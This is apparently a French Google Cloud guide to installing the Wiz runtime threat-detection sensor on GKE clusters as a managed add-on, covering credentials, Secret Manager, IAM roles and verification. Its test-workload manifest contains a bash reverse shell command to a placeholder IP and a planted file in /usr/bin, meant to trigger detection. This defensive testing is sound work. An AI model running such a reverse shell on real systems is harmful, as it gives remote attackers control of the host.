Installer le capteur d'exécution Wiz dans les clusters GKE

Le capteur d'exécution Wiz est un composant de la plate-forme principale Wiz qui fournit des fonctionnalités de détection et de réponse aux menaces en temps réel pour les charges de travail d'exécution. Vous pouvez installer le capteur d'exécution dans des clusters Google Kubernetes Engine (GKE) en tant que module complémentaire géré. Ce document explique aux administrateurs de plate-forme et aux ingénieurs en sécurité comment installer le module complémentaire du capteur d'exécution, configurer l'accès à la plate-forme Wiz et appliquer l'installation du capteur d'exécution dans votre organisation, votre dossier ou votre projet.

Vous devez déjà connaître le capteur d'exécution Wiz.

Quand utiliser le module complémentaire du capteur d'exécution

La méthode d'installation du module complémentaire géré est une alternative intégrée à l'installation du capteur d'exécution à l'aide de méthodes d'installation telles qu'un chart Helm. Le module complémentaire du capteur d'exécution présente les avantages suivants :

  • GKE installe les composants et gère la plupart des tâches de configuration, ce qui réduit l'effort et la complexité de l'installation du capteur d'exécution par rapport à l'utilisation du chart Helm.
  • Vous pouvez utiliser le service de règles d'administration pour exiger l'activation du module complémentaire dans votre organisation, vos dossiers ou vos projets.
  • Le module complémentaire s'exécute dans les clusters Autopilot et en parallèle des charges de travail Autopilot dans les clusters Standard sans que vous ayez à ajouter le capteur d'exécution à une liste d'autorisation.
  • Les mises à jour des composants du capteur d'exécution sont indépendantes des mises à niveau de la version de correctif GKE.

Vous pouvez également installer le capteur d'exécution dans vos clusters à l'aide du chart Helm. Si vous utilisez cette méthode, vous bénéficiez d'une plus grande flexibilité pour personnaliser la configuration du capteur. Toutefois, cette méthode nécessite plus de configuration manuelle lors de l'installation et est plus difficile à appliquer à grande échelle que l'utilisation du module complémentaire. Si vous installez le capteur d'exécution à l'aide du chart Helm, les composants ne sont pas gérés par GKE. Si vous n'utilisez pas le module complémentaire GKE, signalez tout problème lié au capteur d'exécution, tel que des erreurs ou des incompatibilités, directement à Wiz.

Fonctionnement

Vous installez le module complémentaire dans des clusters spécifiques à l'aide de l'API GKE. Lorsque vous activez le module complémentaire, GKE crée l'espace de noms gke-managed-wiz et installe les composants du capteur d'exécution. GKE nécessite un accès au Container Registry privé Wiz pour récupérer les images du capteur d'exécution.

Après l'installation, le capteur d'exécution nécessite un accès à l'API Wiz pour envoyer des informations à la plate-forme Wiz. Pour accorder à GKE et au capteur d'exécution l'accès requis, vous fournissez les informations suivantes en tant que secrets dans l'espace de noms gke-managed-wiz :

  • Identifiants permettant d'accéder au Container Registry Wiz et d'extraire l'image du capteur d'exécution.
  • Informations de configuration du capteur d'exécution, telles que les identifiants de l'API Wiz et les variables spécifiques à l'environnement.

Vous pouvez créer ces secrets manuellement ou importer les informations dans Google Cloud Secret Manager, qui crée automatiquement les secrets, fait pivoter les versions selon un calendrier récurrent et déploie les mises à jour des secrets déployés.

Tarifs

Le module complémentaire du capteur d'exécution Wiz est disponible sans frais supplémentaires dans GKE. Les considérations suivantes s'appliquent :

  • Vous devez disposer d'une licence active pour le capteur d'exécution Wiz. Pour en savoir plus, consultez Tarifs Wiz.
  • Les composants du capteur d'exécution s'exécutent sur vos nœuds et consomment des ressources de processeur et de mémoire, ce qui peut entraîner la nécessité de davantage de nœuds pour accueillir tous les pods de votre cluster.
  • Si vous utilisez Secret Manager pour stocker vos identifiants et configurations Wiz, les tarifs de Secret Manager s'appliquent.

Limites

Les limites suivantes s'appliquent à l'utilisation du module complémentaire :

  • Si vous mettez à jour les identifiants du registre ou de l'API Wiz dans les secrets déployés, vous devez redémarrer manuellement le DaemonSet du capteur d'exécution à l'aide de la commande kubectl rollout restart.
  • Pour installer le capteur d'exécution, vous devez importer les identifiants du registre Wiz de votre locataire en tant que secret Kubernetes ou dans Secret Manager.
  • Si vous utilisez des nœuds privés, vous devez configurer l'accès sortant à le registre de conteneurs Wiz (registry.wiz.io) à l'aide de Cloud NAT.
  • Le module complémentaire GKE géré n'accepte que les paramètres de configuration facultatifs suivants pour le capteur d'exécution :
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

Pour utiliser l'un des autres paramètres de configuration, installez le capteur d'exécution à l'aide du chart Helm.

Avant de commencer

Avant de commencer, effectuez les tâches suivantes :

  • Activez l'API Google Kubernetes Engine.
  • Activer l'API Google Kubernetes Engine
  • Si vous souhaitez utiliser Google Cloud CLI pour cette tâche, installez puis initialisez la gcloud CLI. Si vous avez déjà installé la gcloud CLI, obtenez la dernière version en exécutant la gcloud components update commande. Il est possible que les versions antérieures de la gcloud CLI ne permettent pas d'exécuter les commandes de ce document.

Rôles requis

Pour activer et configurer le module complémentaire du capteur d'exécution pour GKE, vous devez disposer des rôles suivants sur le Google Cloud projet :

Vous devez également avoir accès à un locataire Wiz pour obtenir les identifiants du Container Registry Wiz et générer un jeton OAuth pour l'API Wiz.

Préparer les identifiants et les fichiers de configuration Wiz

Pour installer le capteur d'exécution et envoyer des informations à la plate-forme Wiz, vous devez fournir des identifiants pour accéder au registre privé Wiz et à l'API Wiz. Pour préparer ces informations, procédez comme suit :

  1. Recherchez vos identifiants de registre de conteneurs Wiz pour le registry.wiz.io registre.
  2. Créez une chaîne encodée en base64 contenant les identifiants du registre dans une structure que Kubernetes peut analyser :

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'
    

    Remplacez les éléments suivants :

    • WIZ_REGISTRY_USERNAME: nom d'utilisateur du registre de conteneurs Wiz.
    • WIZ_REGISTRY_PASSWORD: mot de passe du registre de conteneurs Wiz.

    Le résultat ressemble à ce qui suit :

    aGVsbG86d29ybGQ=
    
  3. Enregistrez les informations dans un fichier JSON :

    {
      "auths": {
        "registry.wiz.io": {
          "username": "WIZ_REGISTRY_USERNAME",
          "password": "WIZ_REGISTRY_PASSWORD",
          "auth": "BASE64_ENCODED_CREDENTIALS"
        }
      }
    }
    

    Remplacez BASE64_ENCODED_CREDENTIALS par la chaîne encodée de l'étape précédente.

  4. Créez un compte de service Wiz et copiez les informations suivantes :

    • L'ID client, que vous pouvez également trouver dans le portail Wiz sur la page Comptes de service.
    • Le code secret du client, qui n'est visible que lorsque vous créez le compte de service.
  5. Créez un fichier de configuration YAML pour le capteur d'exécution :

    clientId: "WIZ_CLIENT_ID"
    clientToken: "WIZ_CLIENT_SECRET"
    clientEndpoint: "WIZ_CLIENT_ENDPOINT"
    

    Remplacez les éléments suivants :

    • WIZ_CLIENT_ID: ID client du compte de service.
    • WIZ_CLIENT_TOKEN: code secret du client pour le compte de service.
    • WIZ_CLIENT_ENDPOINT : URL du jeton à utiliser, qui dépend de votre locataire Wiz.
  6. Facultatif : si vous utilisez un proxy HTTP, vous pouvez configurer le capteur d'exécution pour qu'il utilise le serveur proxy. Créez un fichier de configuration YAML pour le proxy :

    httpsProxy: "PROXY_URL"
    caCertificate: "CA_CERTIFICATE"
    clientCertificate: "CLIENT_CERTIFICATE"
    

    Remplacez les éléments suivants :

    • PROXY_URL: URL de proxy complète, telle que https://proxy.example.com:8080.
    • CA_CERTIFICATE: certificat CA du serveur proxy, au format PEM. Si votre serveur proxy n'utilise pas TLS, alors spécifiez une valeur vide ("").
    • CLIENT_CERTIFICATE: certificat client du serveur proxy, au format PEM. Si votre serveur proxy n'utilise pas TLS, spécifiez une valeur vide ("").

Créer des secrets dans Secret Manager

Cette section explique comment stocker les différents fichiers de configuration et d'identifiants Wiz dans Secret Manager. Vous pouvez spécifier les URI de ces secrets lorsque vous activez le module complémentaire du capteur d'exécution dans un cluster GKE. Secret Manager crée automatiquement les secrets Kubernetes dans l'espace de noms Wiz. Lorsque vous mettez à jour les valeurs dans Secret Manager, les secrets Kubernetes se synchronisent automatiquement pour utiliser les nouvelles valeurs. Vous pouvez également ignorer cette section et créer manuellement les secrets dans l'espace de noms gke-managed-wiz.

Pour créer les secrets dans Secret Manager, procédez comme suit :

  1. Stockez les identifiants du registre Wiz :

    1. Créez un secret pour stocker les identifiants du registre Wiz :

      gcloud secrets create wiz-image-pull-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      

      Remplacez SECRET_PROJECT_ID par l'ID de projet du projet dans lequel créer les secrets. Google Cloud

    2. Stockez les identifiants du registre Wiz dans le secret wiz-image-pull-secret :

      gcloud secrets versions add wiz-image-pull-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CREDENTIALS_FILE
      

      Remplacez PATH_TO_CREDENTIALS_FILE par le chemin d'accès au fichier JSON contenant les identifiants du registre Wiz.

  2. Stockez les identifiants de l'API du capteur d'exécution :

    1. Créez un secret pour stocker les identifiants de l'API du capteur d'exécution :

      gcloud secrets create wiz-api-key-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Stockez les identifiants de l'API du capteur d'exécution dans le secret wiz-api-key-secret :

      gcloud secrets versions add wiz-api-key-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CONFIG_FILE
      

      Remplacez PATH_TO_CONFIG_FILE par le chemin d'accès au fichier YAML contenant les identifiants de l'API du capteur d'exécution.

  3. Facultatif : stockez les informations de configuration de votre proxy :

    1. Créez un secret pour stocker la configuration du serveur proxy :

      gcloud secrets create wiz-sensor-proxy-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Stockez la configuration du serveur proxy dans le secret wiz-sensor-proxy-secret :

      gcloud secrets versions add wiz-sensor-proxy-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_PROXY_FILE
      

      Remplacez PATH_TO_PROXY_FILE par le chemin d'accès au fichier YAML contenant les paramètres de configuration du proxy.

Accorder à GKE l'accès à Secret Manager

Pour synchroniser les informations de Secret Manager en tant que secrets Kubernetes, accordez le rôle IAM Accesseur de secrets Secret Manager (roles/secretmanager.secretAccessor) sur les secrets que vous avez créés au compte de service Kubernetes wiz-sensor-secretsync-sa dans l'espace de noms gke-managed-wiz. Lorsque vous activez le module complémentaire du capteur d'exécution dans un cluster, GKE crée ce compte de service et utilise son identité pour créer les secrets correspondants dans l'espace de noms. Si vous prévoyez de créer manuellement des secrets au lieu d'utiliser Secret Manager, ignorez cette section.

Les étapes suivantes vous montrent comment accorder le rôle requis :

  1. Recherchez le numéro de projet de votre projet de cluster :

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'
    

    Le résultat ressemble à 1234567890.

  2. Accordez le rôle sur le secret wiz-image-pull-secret :

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

    Remplacez les éléments suivants :

    • SECRET_PROJECT_ID: ID du projet du projet contenant vos secrets.
    • CLUSTER_PROJECT_NUMBER: numéro de projet du projet de cluster.
    • CLUSTER_PROJECT_ID: ID du projet du projet de cluster.
  3. Accordez le rôle sur le secret wiz-api-key-secret :

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    
  4. Facultatif : si vous avez créé un secret contenant des informations de proxy HTTP, accordez le rôle sur le secret wiz-sensor-proxy-secret :

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

Activer le module complémentaire du capteur d'exécution pour GKE

Une fois que vous avez créé les secrets dans Secret Manager et accordé à GKE le rôle requis sur les secrets, activez le module complémentaire du capteur d'exécution pour votre cluster. Vous pouvez activer le module complémentaire sur des clusters Standard ou Autopilot nouveaux ou existants. Les étapes suivantes vous montrent comment activer le module complémentaire et configurer la synchronisation des secrets dans un cluster existant. Vous pouvez également utiliser ces indicateurs lors de la création du cluster.

  1. Activez la synchronisation des secrets pour un cluster existant. Si vous prévoyez de créer manuellement des secrets au lieu d'utiliser Secret Manager, ignorez cette étape.

    gcloud container clusters update CLUSTER_NAME \
        --project=CLUSTER_PROJECT_ID \
        --location=CONTROL_PLANE_LOCATION \
        --enable-secret-sync --enable-secret-sync-rotation
    

    Remplacez les éléments suivants :

    • CLUSTER_NAME : nom du cluster.
    • CLUSTER_PROJECT_ID: ID du projet de votre projet de cluster.
    • CONTROL_PLANE_LOCATION: emplacement du plan de contrôle de votre cluster.
  2. Activez le module complémentaire en exécutant l'une des commandes suivantes. Si vous prévoyez de créer manuellement des secrets au lieu d'utiliser Secret Manager, spécifiez uniquement l'indicateur --addons dans ces commandes.

    • Activez le module complémentaire sans configurer de proxy HTTP :

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest
      
    • Activez le module complémentaire et configurez un proxy HTTP :

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
          --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
      

Vérifier l'installation

Pour vérifier l'installation du module complémentaire, procédez comme suit :

  1. Obtenez les identifiants pour exécuter les commandes kubectl dans le cluster :

    gcloud container clusters get-credentials CLUSTER_NAME \
        --location=CONTROL_PLANE_LOCATION \
        --project=CLUSTER_PROJECT_ID
    
  2. Vérifiez si l'espace de noms gke-managed-wiz existe :

    kubectl get namespace gke-managed-wiz
    

    Le résultat ressemble à ce qui suit :

    NAME              STATUS   AGE
    gke-managed-wiz   Active   76s
    
  3. Vérifiez si les ressources personnalisées Secret Manager existent dans l'espace de noms :

    kubectl get secretproviderclass --namespace=gke-managed-wiz
    kubectl get secretsync --namespace=gke-managed-wiz
    

    Le résultat ressemble à ce qui suit :

    NAME                          AGE
    wiz-sensor-secrets-provider   76s
    wiz-sensor-apikey             76s
    wiz-sensor-imagepullkey       75s
    wiz-sensor-proxy              76s
    
  4. Vérifiez si les secrets Kubernetes existent :

    kubectl get secrets --namespace=gke-managed-wiz
    

    Le résultat ressemble à ce qui suit :

    NAME                      TYPE                              DATA   AGE
    wiz-sensor-apikey         Opaque                            3      76s
    wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s
    
  5. Vérifiez l'état du DaemonSet du capteur d'exécution :

    kubectl get daemonset --namespace=gke-managed-wiz
    

    Le résultat ressemble à ce qui suit :

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
    wiz-sensor  1         1         1       1            1           <none>          76s
    

    Ce résultat indique que le capteur d'exécution est prêt et disponible.

  6. Vérifiez les journaux de démarrage et de connexion des pods du capteur d'exécution :

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100
    

    Le résultat ressemble à ce qui suit :

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
    {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
    {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
    {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
    {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
    {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
    

Déployer une charge de travail de test

Pour vérifier si la connexion au portail Wiz fonctionne, procédez comme suit :

  1. Enregistrez le fichier YAML de manifeste de déploiement suivant :

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: demo-nginx
      namespace: default
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: demo-nginx
      template:
        metadata:
          labels:
            app: demo-nginx
        spec:
          containers:
          - name: nginx
            image: nginx:1.15.6
            command: ["/bin/bash", "-c"]
            args:
            - |
              # Trigger background reverse shell attempt
              (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
              # Trigger image drift file modification
              touch /usr/bin/malicious_test_file
              # Start Nginx
              exec nginx -g "daemon off;"
            ports:
            - containerPort: 80
    

    Ce déploiement crée un pod qui simule une attaque de shell inverse.

  2. Créez le déploiement :

    kubectl apply -f PATH_TO_MANIFEST
    

    Remplacez PATH_TO_MANIFEST par le chemin d'accès au fichier manifeste de déploiement.

  3. Dans le portail Wiz, accédez à la page Menaces.

  4. Dans le tableau des menaces, recherchez une menace concernant la tentative de shell inverse.

Appliquer l'installation du module complémentaire à l'aide d'une règle d'administration

Vous pouvez appliquer l'installation du module complémentaire du capteur d'exécution dans plusieurs clusters d'une organisation, d'un dossier ou d'un projet à l'aide d'une règle d'administration. Créez une contrainte personnalisée avec les propriétés suivantes :

  • Ressource: container.googleapis.com/Cluster
  • Condition: resource.addonsConfig.wizSensor.enabled == false
  • Action: DENY

Pour en savoir plus sur la configuration d'une contrainte personnalisée avec ces propriétés, consultez Limiter les actions sur les ressources GKE à l'aide de règles d'administration personnalisées.

Étape suivante